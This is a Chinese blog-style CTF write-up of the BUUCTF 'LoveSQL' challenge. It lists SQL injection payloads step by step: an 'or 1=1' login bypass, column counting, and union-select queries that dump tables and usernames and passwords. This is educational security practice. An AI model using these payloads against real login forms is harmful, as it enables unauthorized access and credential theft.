WHCSRL 技术网

BUU sql注入-[极客大挑战 2019]LoveSQL

一、题目

 

梅开二度属于是

 直接操作

二、解题

1. 检测注入类型

我们用两个万能密码来检测

1 or 1=1#
1' or 1=1#

第一种万能密码对应检测的是数字型注入,第二种是字符型注入(因为字符通常用两个 ' 来标记,在1之后加 ' 构成闭合)

 

 这里我们测试结果是用第二种万能密码登录成功,那么可以判断是字符型注入

2.  注入连招(查数爆库爆表爆列)

使用union select操作

1' order by 3#

1' order by 4#

 

输入3不报错,到4的时候报错,那么列数就为3 

再判断回显位置

1' union select 1,2,3#

可知回显位为2,3

开始爆库

1' union select 1,database(),version()#

 

 爆表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

我们选l0ve1ysq1这个表来爆列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

 

 最后就是把这些列的内容爆出来

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

 

拿到flag 

 三、总结

 1. 这道题考了比较基本的sql注入技巧,主要是使用联合查询的那一套

 2. information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库       的表,表栏的数据类型与访问权限等。再简单点,这台MySQL服务器上,到底有哪些数据库、       各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息       都保存在information_schema表里面。(来源:百度知道)table_schema是数据库的名称,       table_name是具体的表名,查列时要用and将这两条的信息连起来

推荐阅读